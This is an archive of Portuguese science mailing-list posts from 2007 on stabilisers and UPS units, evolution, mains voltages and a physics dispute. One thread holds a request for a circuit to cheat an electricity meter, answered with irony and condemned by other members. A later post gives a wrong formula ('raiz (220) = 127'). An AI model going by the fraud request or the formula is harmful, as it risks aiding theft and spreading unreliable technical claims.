de gabinetes, de placas de vídeo, de placas-mãe. Tente encontrar pelo
menos uns dois fornecedores mundiais de
estabilizador...............Nem prá remédio.

Finalmente, para aqueles que disserem que é bom comprar um
estabilizador porque ele tem fusível e também tem filtro. Ora compra
logo uma uma cafeteira que tem fusível e também tem filtro (de café).

O elemento que tem tudo isso se chama "surge suppressor" , ou régua de
proteção, ou filtro de linha ou.....e ai vai. Não ponha esse
estabilizador que, você está pensando em comprar, a fazer nada e ainda
atrapalhar sua fonte.
Muitas pessoas compram um belo estabilizador e dai, como o dinheiro
pode ficar curto compram uma fonte de 700 Watts por R$ 65,00. Os três
se merecem, o comprador, a fonte e o estabilizador.

"





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Manuel (e demais) Re: Ernst Mayr e a filosofia da biologia (corrigido)
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/07/2007 08:47

Oi Homero,

Eu tava era provocando o Takata! Tanto ele percebeu que nem
respondeu. :-)

Abraços,
Manuel Bulcão

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
escreveu
>
> Olá Manuel
>
> Como este assunto é muito interessante, e permite conversas
extremente
> informativas (eu aprendo um bocado, pelo menos..:-), vamos discordar
> um pouco, para mante-la acessa..:-)
>
> Manuel: "Não, não seria refutada.
> > Caso os registros geológicos não fossem condizentes, algum
> > evolucionista poderia trazer à baila versões da idéia da
panspermia
> > (aventada por Fred Hoyle) como hipótese "ad hoc"."
>
> Imagino que o sentido de sua mensagem seria demonstrar que a
evolução
> darwinista não seria falseável, ou que se suporta em ad hocs. Eu
> discordo. Primeiro, porque a panspermia não é "ad hoc", mas se
baseia
> em dados empíricos, como a presença de aminoácidos em nuvens
> estelares, de moléculas complexas em meteoritos e cometas, e outros
> fatores.
>
> Segundo, porque, como colocou o Takata na mensagem anterior,
qualquer
> teoria científica envolve dimensionamento de tempo, ou fica
impossível
> fazer qualquer previsão. É da natureza das teorias, não uma falha da
> evolução, lidar com dificuldade com períodos de tempo gigantescos ou
> infinitos.
>
> Na verdade, tempo infinito se aproxima demais do solipcismo, "tudo é
> possível." Porque na verdade, tudo é mesmo possível, embora boa
parte
> disso seja bastante improvável. Você é darwinista, por exemplo,
> porque, dentro das possibilidades de explicação, esta teoria é a
mais
> forte candidata a ser correta. E isso devido a suas evidências,
frente
> a falta de evidências de qualquer outra coisa (inclusive tempo
> infinito no desenvolvimento da vida, marcada por registros
geológicos
> e fósseis bem claros).
>
> E para finalizar, este registro fóssil permite uma forma de falsear
a
> evolução perfeitamente válida, o famoso (famigerado eu diria..:-)
> coelho cambriano.
>
> O coelho cambriano tem sido procurado intensamente por
criacionistas,
> de forma obsessiva, porque permitiria refutar todo arcabouço
> evolutivo, toda base que sustenta a teoria, e porque sua
inexistência
> é o mais impressionante obstáculo ao criacionismo científico.
>
> Pois sua inexistência, a absoluta coerência de linhagem entre
fósseis,
> espalhados por todo planeta, confunde e atrapalha totalmente a
> hipótese "criação instantânea" de todos os seres vivos, e é um
> problema sério até para a crença apenas da ação divina acessória
nessa
> formação.
>
> É como se a força criadora tivesse resolvido, por gozação, enterrar
> todos os seres vivos em camadas "como se" tivessem vivido em épocas
> distintas e seqüenciais, na exata aparência de uma evolução natural.
>
> Essa procura pelo "coelho cambriano", um fóssil moderno em uma
camada
> geológica antiga, é tão obsessiva, que até marcas aleatórias,
buracos
> em pedras calcárias, são apresentadas como "pegadas humanas" em
> períodos geológicos em que não deveriam haver representantes de
nossa
> espécie..:-)
>
> Existe, dessa forma, pelo uma forma de falsear a evolução darwiniana
> (mas eu posso pensar em outras).
>
> E de toda forma, os ajustes e melhoras que uma teoria científica
> recebe com o tempo não deve ser tomada como falha ou defeito da
teoria
> original, mas a forma natural do conhecimento científico avançar. Se
> descobrirmos que parte dos aminoácidos necessários a vida na Terra
> vieram originalmente em cometas e meteoros, isso não diminui a força
> da teoria evolutiva, apenas a complementa (embora, como sempre seja
> necessário lembrar, a evolução não tem a ver com a abiogenese, o
> surgimento das primeiras moléculas replicantes).
>
> Um abraço.
>
> Homero
>




SUBJECT: Re: Estabilizadores/no-breaks
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/07/2007 09:08

Olá, Christian, TipoAlgo, Víctor.

Obrigado pela aula que foram esses posts. Acho que já deu pra entender. Não
só a ligação que ele fez é redundante, como agora fiquei cismado de comprar
um No-break (só tenho estabilizador).

Gil


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: discri��o
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "razaile" <eliazarvasconcelos@terra.com.br>
DATE: 04/07/2007 09:54

Olá Razaile,

Há um modo bem simples de se fazer isso! A conta do vizinho vai baixar tanto quanto vc quiser! Basta fazer o seguinte: num local bem próximo entre as duas residências passe um par de fios # 14, o suficiente para ir de uma tomada de sua casa até uma tomada da casa do vizinho, tendo o cuidado de ligar 'terra com terra' e 'fase com fase'. Apenas no fio fase, coloque um disjuntor de 40A.
Pronto! Quando quiser economizar o consumo do vizinho basta desligar a chave geral do vizinho e , a seguir, ligar esse disjuntor 'oculto'. O vizinho passará a ter energia elétrica sem qqer custo!
Se necessário envio-lhe o esquema desse 'drible'.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: razaile
Para: leobarretos
Enviada em: quinta-feira, 28 de junho de 2007 11:49
Assunto: discrição


Professor

Gostaria de obter um esboço de um circuito elétrico para "driblar" a conta de um vizinho, a qual está um absurdo. Caso por questões éticas, o senhor não se dispusesse a fazê-lo, por favor me oriente com o disjuntor que substituiria a chave faca, a qual é acionada para escolher o ´drible´ sem a marcação ou a instalação normal com a marcação.
Sem mais

Razaile - eletricista de domingo



------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: discrição
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/07/2007 10:51

Caro Léo,

A solução por você proposta não é um crime, mas o desejo do consulente
certamente é! Se a conta de energia de alguém está muito elevada, isso só
pode ser devido a dois fatores: a) erro de leitura, caso em que se deve
consultar a distribuidora; b) excesso de consumo, caso em que se deve
desligar cargas e economizar. Não existe almoço grátis!

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: "razaile" <eliazarvasconcelos@terra.com.br>
Sent: Wednesday, July 04, 2007 9:54 AM
Subject: [ciencialist] Re: discrição


Olá Razaile,

Há um modo bem simples de se fazer isso! A conta do vizinho vai baixar tanto
quanto vc quiser! Basta fazer o seguinte: num local bem próximo entre as
duas residências passe um par de fios # 14, o suficiente para ir de uma
tomada de sua casa até uma tomada da casa do vizinho, tendo o cuidado de
ligar 'terra com terra' e 'fase com fase'. Apenas no fio fase, coloque um
disjuntor de 40A.
Pronto! Quando quiser economizar o consumo do vizinho basta desligar a chave
geral do vizinho e , a seguir, ligar esse disjuntor 'oculto'. O vizinho
passará a ter energia elétrica sem qqer custo!
Se necessário envio-lhe o esquema desse 'drible'.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: razaile
Para: leobarretos
Enviada em: quinta-feira, 28 de junho de 2007 11:49
Assunto: discrição


Professor

Gostaria de obter um esboço de um circuito elétrico para "driblar" a
conta de um vizinho, a qual está um absurdo. Caso por questões éticas, o
senhor não se dispusesse a fazê-lo, por favor me oriente com o disjuntor que
substituiria a chave faca, a qual é acionada para escolher o ´drible´ sem a
marcação ou a instalação normal com a marcação.
Sem mais

Razaile - eletricista de domingo





SUBJECT: Nervo vago versus acupuntura
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/07/2007 11:53

Oi Roberto and all,

Tive a oportunidade de ler um trabalho de Kevin Tracey sobre o reflexo inflamatório mediado pelo nervo vago. Ele quando estimulado diminuiria os níveis de TNF(alfa) = fator de necrose tumoral tendo portanto um efeito anti-inflamatório. Poderia isso explicar, pelo menos localizadamente, a eficácia da acupuntura?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: RES: [ciencialist] Re: Estabilizadores/no-breaks
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/07/2007 12:31

Gil,



Você deveria ficar cismado em escolher um estabilizador, ao invés de um
No-Break.

O No-Break, mesmo aqueles baratos, com autonomia

de 5 minutos(trazem baterias internas) é preferível ao estabilizador(agora,
na ausência de NB, melhor

usar um estabilizador do que nada. De qualquer maneira o tal tem uns
filtros que, se não ajudam, também não fazem mal. Eles Só não fazem a
proteção propalada pela propaganda).

Use o estabilizador para cargas menos sensíveis. E o NB para o PC. É isso
que se quis dizer.

Mas não use o estabilizador para alimentar o NB. Trata-se de sanduíche de
pão com pão, redundância

desnecessária e tecnicamente não recomendável.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Gil
Enviada em: quarta-feira, 4 de julho de 2007 09:08
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: Estabilizadores/no-breaks



Olá, Christian, TipoAlgo, Víctor.

Obrigado pela aula que foram esses posts. Acho que já deu pra entender. Não
só a ligação que ele fez é redundante, como agora fiquei cismado de comprar
um No-break (só tenho estabilizador).

Gil

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: discrição
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/07/2007 14:17

O vizinho tb pode instalar painéis solares para aquecimento da água
(pode ser aquele com garrafas PETs e caixas de leite).

Se ele tiver grana para investir um pouco mais, ele poderá instalar
painéis fotovoltaicos para suprir parte do consumo.

Na parte de redução de consumo:
- Verificar se as instalações elétricas estão boas e em ordem - se não
há pontos de fuga de energia.
- Verificar se os aparelhos elétricos utilizados estão em boas
condições, instalados adequadamente e se não são muito velhos.
- Procurar substituir aparelhos dispendiosos por outros mais
econômicos (como lâmpadas incandescentes por fluorescentes compactas).
- Procurar desligar aparelhos qdo ninguém estiver usando (luzes de
cômodos vazios, evitar deixar a TV ligada eqto dorme...).
- Desligar os aparelhos qdo não estiver em uso: desligar e não apenas
deixar em modo de espera.
- Evitar ficar abrindo e fechando a geladeira a todo momento, ajustar
o termostato de acordo com a época do ano, não usar o radiador dela
como secador de objetos, deixar uma distância de 15 cm ou mais entre o
radiador e a parede.
- Diminuir o tempo de banho se for chuveiro elétrico (se possível
substituir por chuveiro à gás), ajustar a temperatura de acordo com a
época do ano.
- Substituir o uso de aparelhos elétricos por esforço humano: se a
roupa estiver muito suja, em vez de usar dois ciclos de lavagem,
deixá-la de molho, fazer uma pré-lavagem à mão e usar apenas um ciclo
na máquina.
- Não subutilizar nem sobrecarregar os aparelhos elétricos: usar a
máquina de lavar (roupa, louças e outros) na capacidade máxima de
fábrica (nem mais, nem menos), passar ferro qdo tiver roupa acumulada
e desligá-lo um pouco antes de terminar (com a temperatura residual é
possível se passar algumas peças).
- Aproveitar a iluminação e ventilação natural ao máximo.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
> Caro Léo,
>
> A solução por você proposta não é um crime, mas o desejo do
> consulente certamente é! Se a conta de energia de alguém está muito
> elevada, isso só pode ser devido a dois fatores: a) erro de leitura,
> caso em que se deve consultar a distribuidora; b) excesso de
> consumo, caso em que se deve desligar cargas e economizar. Não
> existe almoço grátis!
>
> [ ]s
>
> Alvaro Augusto



SUBJECT: [RN] CRÍTICA DAS CÉLULAS-TRONCO EMBRIONÁRIAS TERIA FRAUDADO CURRICULO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/07/2007 14:22

Crítica das células-tronco fraudou currículo
'Bióloga teria inspirado ex-procurador-geral a entrar com ação contra
pesquisas. Seu currículo indica que ela teria associação com a
Unifesp, mas instituição nega.'
http://g1.globo.com/Noticias/Ciencia/0,,MUL63629-5603-3883,00.html
---------------------------
[]s,

Roberto Takata



SUBJECT: P/ Manuel (e demais) Re: Ernst Mayr e a filosofia da biologia (corrigido)
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/07/2007 14:34

Olá Manuel

Manuel: " Tanto ele percebeu que nem
respondeu. :-)"

He, he, he. Uma pena, este é um assunto interessante e aprenderiamos bastante com as respostas do Takata..:-)

Um abraço.

Homero



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: Estabilizadores/no-breaks
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/07/2007 20:13

Olá Victor e todos!

Muito obrigado pelo incentivo do e-mail anterior, mesmo se referindo
também ao texto eu entendi o seu comentário, valeu mesmo!

Viu, eu dei uma "bicuda" no 4017 e ainda tenho disponível uma porta do
4093, mas não sei mais o que mudar! Acho que o bicho ficou ITM demais
(risos).

Vou seguir a sua dica e postar o texto também no EletrônicaBR.

[Victor] ... melhor usar um estabilizador do que nada.

Tenho dúvidas quanto a afirmação acima:
- experiência prática. Vi mais de um computador "pifar" depois que os
respectivos estabilizadores entraram em curto.
Aqui em Brasília a tensão é 220V e os estabilizadores (tartarugas
segundo o texto) geralmente são ligados para fornecer 110V na saída,
logo, o PC de fonte também "genérica" fica configurado para receber
110V. A tartaruga (estabilizador) entra em curto-circuito e joga os
220V diretamente na fonte, que por ser genérica não suporta a barra e
vai unir-se ao estabilizador. Mesmo sendo genérica, a dita cuja tem
proteção mínima e não queima a "placa-mãe", menos mal. Mas já vi placa
-mãe queimada por fonte genérica-plus.

Em casa nunca usei estabilizador, o PC fica direto nos 220V.
Inicialmente porque não tinha dinheiro para comprar, depois porque
nunca senti falta. A rede de alimentação elétrica não é tão ruim, mas
percebe-se algumas oscilações nas lâmpadas, e o computador fica calmo.

O autor do texto dá muitas dicas boas, a melhor delas é investir numa
fonte automática de 90 a 250V.

Para quem entende de eletrônica sabe que as alterações no circuito da
fonte são mínimas; o que leva a crer que a idéia é justamente deixar o
usuário com a culpa de não se lembrar de acertar a chave 110-220 na
hora certa e ter que dizer pro técnico que vai atendê-lo que não sabe
o que aconteceu! Concordo com a piada: se usuário tivesse extensão
seria fdp. Aliás, usuário é uma piada!

Abraços
Tipoalgo




SUBJECT: Elaboração de monografia, TCC, etc.
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/07/2007 20:28

Ô coisa... até no mercado livre agora...

http://produto.mercadolivre.com.br/MLB-59497256-elaboraco-de-monografia-dissertaco-tcc-_JM

ELABORAMOS SEU TRABALHO ACADÊMICO!!

MONOGRAFIAS

TCC'S

DISSERTAÇÃO

ETC.

CHEGA DE QUEBRAR A CABEÇA!

SOMOS UMA EQUIPE MULTIDISCIPLINAR!

5 ANOS NO MERCADO ACADÊMICO

MENOR PREÇO DO MERCADO!

CONFIRAM


SUBJECT: RES: [ciencialist] Re: Estabilizadores/no-breaks
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/07/2007 20:34

Olá a todos de novo!

Esqueci de contar que um dia encontrei na lixeira do banheiro de onde
trabalho um estabilizador "sapecado" (queimado), talvez mais um pouco
ele incendiaria o prédio. Sendo eu sucateiro congênito, levei o bicho
pra casa, retirei o transformador e a placa de circuito impresso,
refiz algumas ligações e até hoje o meu filho usa o bicho como régua
de alimentação.

Abraços
Tipoalgo




SUBJECT: Re: [ciencialist] Elaboração de monografia, TCC, etc.
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/07/2007 20:51

Acredite se quiser, já vi um cara-de-pau vendendo convite do orkut,
e outro vendendo "lasca da cruz de Jesus", o que seria "comprovado"
(só Deus sabe como!!!!) pelo teste de carbono 14 (!!).

Gil
Em 04/07/07, Nando<nando.str@gmail.com> escreveu:
> Ô coisa... até no mercado livre agora...
>
> http://produto.mercadolivre.com.br/MLB-59497256-elaboraco-de-monografia-dissertaco-tcc-_JM
>
> ELABORAMOS SEU TRABALHO ACADÊMICO!!
>
> MONOGRAFIAS
>
> TCC'S
>
> DISSERTAÇÃO
>
> ETC.
>
> CHEGA DE QUEBRAR A CABEÇA!
>
> SOMOS UMA EQUIPE MULTIDISCIPLINAR!
>
> 5 ANOS NO MERCADO ACADÊMICO
>
> MENOR PREÇO DO MERCADO!
>
> CONFIRAM
>
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> Links do Yahoo! Grupos
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SUBJECT: RES: [ciencialist] Elaboração de monografia, TCC, etc.
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/07/2007 20:58

Olá,

Se isto for verdadeiro: “5 ANOS NO MERCADO ACADÊMICO”, é de se inferir que o
mercado tá cheinho de “competências”, prá dar e vender, prá mover este País.
De Gaulle tinha mesmo razão, é o que parece.

Um professor de matemática, velho conhecido, me disse semana passada que um
de seus mestrandos, ligado a uma das faculdades em outras cidades, ligadas à
UFPE, apresentou-lhe um trabalho do tipo; sequer se deu ao trabalho de
mudar umas coisitas aqui, umas outritas ali, enfim,

“ maquear” a obra. Talvez apostando que ele, o orientador, carregado de
trabalhos e de estudantes para orientar, além de outras atividades
administrativas, não iria atrás. Mas ele não foi mesmo! Pegou quase por
acaso, segundo disse. Agora está, sistemicamente, com ajuda de outros
professores, checando coisas do tipo. Trabalho filho da mãe, como disse,
pois lhe impede de fazer coisas mais produtivas. Vejam bem, mestrando de
matemática. Se não conhecesse o professor diria que estaria mentindo. Mas
se estivesse, seria a propósito de quê? Sei lá. Mais à frente esse pessoal
estará “ensinando”, arrotando honestidade intelectual, normalmente
“estraçaiando” (como diria nosso boxeador pernambucano, campeão nacional)
seus estudantes. Ou estarão aí pelas assembléias legislativas de seus
estados, eleitos pelo bom e crédulo povo, que “acredita” em tudo, basta
espetar setentinha no seu final de mês. Com os peitões moles e dizendo: sou
moça, sou moça, viram! E honesta, viram? Putz!

O ensino, o aprendizado, a educação? Isso lá tem importância!

Sei não, sei não...



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Nando
Enviada em: quarta-feira, 4 de julho de 2007 20:28
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Elaboração de monografia, TCC, etc.



Ô coisa... até no mercado livre agora...

http://produto.mercadolivre.com.br/MLB-59497256-elaboraco-de-monografia-diss
ertaco-tcc-_JM

ELABORAMOS SEU TRABALHO ACADÊMICO!!

MONOGRAFIAS

TCC'S

DISSERTAÇÃO

ETC.

CHEGA DE QUEBRAR A CABEÇA!

SOMOS UMA EQUIPE MULTIDISCIPLINAR!

5 ANOS NO MERCADO ACADÊMICO

MENOR PREÇO DO MERCADO!

CONFIRAM





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100km/h de um carroa100km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/07/2007 21:53

Comentários após JR - ....
......................................
----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, July 02, 2007 11:27 PM
Subject: Fw: [ciencialist] Re: Jogar uma bola a 100km/h de um
carroa100km/h:osresultados


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Takata, se vc estivesse acompanhando as mensagens e mantivesse
> minimamente os comentários anteriores saberia que minha afirmação se

Não vou nem me dar ao trabalho de comentar esse trecho acima...

> Quanto à aceleração horizontal obtida pela bola após quicar no chão
> pela primeira vez, já afirmei que não é determinada por esse empuxo
> do deslocamento do ar provocado pelo carro a 100km/h.

Nem do primeiro quique, nem do segundo, nem do terceiro... O vento
simplesmente não pode ter influência significativa sobre o movimento
da bola sob pena de ser incompatível com a trajetória.
JR - Em outras palavras já afirmei que até o primeiro quique o empuxo do
deslocamento do ar é compatível com a inclinação da trajetória da bola para
a esquerda. Após bater no solo pela primeira vez a bola é acelerada
horizontalmente para a esquerda por motivos apenas conjeturados.


> Já perda de velocidade horizontal da bola, após o segundo toque no
> chão, não se deve necessariamente a um fluxo contrário de vento. Há
> outras componentes "normais" desacelerando o movimento da bola.

E simplesmente não há a menor possibilidade de outros componentes
desacelerarem a bola no terceiro trecho - porq ele se dá totalmente no
*ar*! A bola teria ser brecada pelo ar. Oras, se ela sofrer uma
desaceleração de 5 m/s2 por causa do ar, não poderia ter acelerado a
3m/s2 no segundo trecho - a menos q tenha passado um tufão de
106,949978 km/h q acelerasse a bola a 8 m/s2.
JR - Essa afirmação poderia ser consistente se a filmagem fosse especial,
com bem maior velocidade e/ou luz estroboscópica. Da forma como foi feito o
vídeo não dá para afirmar nada de concreto sobre as variações de velocidade.

Novamente, o vento NÃO pode ser um fator significativo para o
movimento da bola. Se fosse, a trajetória teria q ser MUITO DIFERENTE.
JR - Ficaria mais inteligível especificando os trechos... No trecho antes da
primeira quicada o empuxo do ar é o único componente significativo que pode
mover a bola para a esquerda, se considerarmos que as velocidades da bola e
do carro são iguais no momento imediato após lançamento.


[]s,
Roberto Takata

[]s
José Renato



SUBJECT: Re: Jogar uma bola a 100km/h de um carroa100km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/07/2007 22:35

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> JR - Em outras palavras já afirmei que até o primeiro quique o
> empuxo do deslocamento do ar é compatível com a inclinação da
> trajetória da bola para a esquerda. Após bater no solo pela primeira
> vez a bola é acelerada horizontalmente para a esquerda por motivos
> apenas conjeturados.

Vc não falou isso inicialmente:
"A força do vento deslocado pelo carro, *acelera* a bola na horizontal
e explica o aumento dos arcos das parábolas após o lançamento da
bola." ['aumento' e 'arcos' no plural]
http://br.groups.yahoo.com/group/ciencialist/message/63993

"JR1 - Como já expliquei anteriormente o empuxo do vento na bola é
mais forte quando ela é lançada, mas o empuxo só passa a atuar
efetivamente *após o lançamento* a partir do qual o efeito de
aceleração aumenta a velocidade da bola na horizontal a cada instante.
Dá para entender que assim a bola acelera e os arcos ficam mais
abertos..." [de novo 'arcos' no plural]
http://br.groups.yahoo.com/group/ciencialist/message/64034

"JR1 - Análise claudicante e autista... A medida da velocidade da
bola, um dos dois dados fundamentais do problema já não é
importante... A inclinação da bola para a esquerda já é visível na
primeira trajetória após o lançamento. Essa força de empuxo horizontal
somada à componente vertical gravitacional promove o deslocamento mais
acentuado após quicar no chão." ['empuxo horizontal', 'após o quicar
no chão']
http://br.groups.yahoo.com/group/ciencialist/message/64091


> E simplesmente não há a menor possibilidade de outros componentes
> desacelerarem a bola no terceiro trecho - porq ele se dá totalmente
> no *ar*! A bola teria ser brecada pelo ar. Oras, se ela sofrer uma
> desaceleração de 5 m/s2 por causa do ar, não poderia ter acelerado a
> 3m/s2 no segundo trecho - a menos q tenha passado um tufão de
> 106,949978 km/h q acelerasse a bola a 8 m/s2.

> JR - Essa afirmação poderia ser consistente se a filmagem fosse
> especial,

Não há necessidade alguma de filmagem especial. A afirmação é baseada
nos cálculos produzidos a partir da imagem. As medidas da trajetória
(e os valores das constantes gravitacional, aerodinâmicas da bola e do
ar) são suficientes para se ter essa noção.

A menos é claro q, com uma filmagem especial, possamos provar q a
trajetória da bola do ápice de uma subida até antes de tocar o chão
NÃO se dá totalmente no ar. O q seria uma possibilidade altamente
improvável.

> Novamente, o vento NÃO pode ser um fator significativo para o
> movimento da bola. Se fosse, a trajetória teria q ser MUITO
> DIFERENTE.
> JR - Ficaria mais inteligível especificando os trechos...

Eu especifiquei como primeiro trecho, segundo trecho...

O primeiro trecho é o da bola caindo de uma altura de cerca de 1,20m
logo após lançada da caminhoneta até logo antes de tocar no chão pela
primeira vez. O segundo trecho é o da bola logo depois de tocar no
chão pela primeira vez até o ápice da parábola q descreve (a cerca de
0,69m do chão). O terceiro trecho é o da bola do ápice dessa parábola
até logo antes de tocar o chão pela segunda vez e assim por diante.

Eu até deixei a figura disponível para visualização:
http://br.groups.yahoo.com/group/ciencialist/files/ball4.jpg

[]s,

Roberto Takata



SUBJECT: 220 V ou não 220 V?
FROM: "ssilva" <ssilva@smad.curitiba.pr.gov.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/07/2007 08:53

Tipoalgo escreveu:
> Aqui em Brasília a tensão é 220V

Desculpem a ignorância mas por que em alguns estados as distribuidoras de energia concedem 110 V e outras 220V para as residências? Isto é, por que não há um único padrão de distribuição de energia elétrica?

Sandro Silva_,___

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] 220 V ou não 220 V?
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/07/2007 10:09

Razões históricas. Algumas regiões do país sofreram a influência européia
dos 220 V, enquanto outras sofreram a influência americana dos 110 V.
Qualquer distribuidora, especialmente as de grande porte, acha que seu
padrão é melhor do que o das outras, mas o fato é que, depois de
estabelecida uma rede de distribuição extensa, é muito difícil e caro mudar.
Pessoalmente, prefiro o padrão que oferece tensões monofásicas de 110 V e
tensões trifásicas de 220 V, por ser "menos letal".

[ ]s

Alvaro Augusto



----- Original Message -----
From: "ssilva" <ssilva@smad.curitiba.pr.gov.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, July 05, 2007 8:53 AM
Subject: [ciencialist] 220 V ou não 220 V?


Tipoalgo escreveu:
> Aqui em Brasília a tensão é 220V

Desculpem a ignorância mas por que em alguns estados as distribuidoras de
energia concedem 110 V e outras 220V para as residências? Isto é, por que
não há um único padrão de distribuição de energia elétrica?

Sandro Silva_,___




SUBJECT: Re: 220 V ou não 220 V?
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/07/2007 10:15

Olá Sandro!

Desculpe a minha "rudeza", mas se você deseja aumentar os seus
conhecimentos sobre o assunto, siga alguns dos links encontrados aqui:
(http://www.google.com.br/search?sourceid=navclient&hl=pt-BR&ie=UTF-
8&rls=GGLJ,GGLJ:2006-32,GGLJ:pt-BR&q=110+ou+220+%2bestados)

Abraços
Tipoalgo




SUBJECT: Res: [ciencialist] 220 V ou não 220 V?
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/07/2007 10:16

[E]> aqui em Rib. Preto é 127 V... (!?)



----- Mensagem original ----
De: Alvaro Augusto (U) <alvaro@daelt.sh06.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quinta-feira, 5 de Julho de 2007 10:09:26
Assunto: Re: [ciencialist] 220 V ou não 220 V?













Razões históricas. Algumas regiões do país sofreram a influência européia

dos 220 V, enquanto outras sofreram a influência americana dos 110 V.

Qualquer distribuidora, especialmente as de grande porte, acha que seu

padrão é melhor do que o das outras, mas o fato é que, depois de

estabelecida uma rede de distribuição extensa, é muito difícil e caro mudar.

Pessoalmente, prefiro o padrão que oferece tensões monofásicas de 110 V e

tensões trifásicas de 220 V, por ser "menos letal".



[ ]s



Alvaro Augusto



----- Original Message -----

From: "ssilva" <ssilva@smad. curitiba. pr.gov.br>

To: <ciencialist@ yahoogrupos. com.br>

Sent: Thursday, July 05, 2007 8:53 AM

Subject: [ciencialist] 220 V ou não 220 V?



Tipoalgo escreveu:

> Aqui em Brasília a tensão é 220V



Desculpem a ignorância mas por que em alguns estados as distribuidoras de

energia concedem 110 V e outras 220V para as residências? Isto é, por que

não há um único padrão de distribuição de energia elétrica?



Sandro Silva_,___














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SUBJECT: Re: [ciencialist] 220 V ou não 220 V?
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/07/2007 10:42

127 V é a tensão na saída do transformador, pois raiz (220) = 127 e esses
transformadores são ligados em estrela. Por causa das perdas do
transformador até a tomada, considera-se que a tensão média nas tomadas é de
110 V.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, July 05, 2007 10:16 AM
Subject: Res: [ciencialist] 220 V ou não 220 V?


[E]> aqui em Rib. Preto é 127 V... (!?)



----- Mensagem original ----
De: Alvaro Augusto (U) <alvaro@daelt.sh06.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quinta-feira, 5 de Julho de 2007 10:09:26
Assunto: Re: [ciencialist] 220 V ou não 220 V?













Razões históricas. Algumas regiões do país sofreram a influência
européia

dos 220 V, enquanto outras sofreram a influência americana dos 110 V.

Qualquer distribuidora, especialmente as de grande porte, acha que seu

padrão é melhor do que o das outras, mas o fato é que, depois de

estabelecida uma rede de distribuição extensa, é muito difícil e caro mudar.

Pessoalmente, prefiro o padrão que oferece tensões monofásicas de 110 V e

tensões trifásicas de 220 V, por ser "menos letal".



[ ]s



Alvaro Augusto



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From: "ssilva" <ssilva@smad. curitiba. pr.gov.br>

To: <ciencialist@ yahoogrupos. com.br>

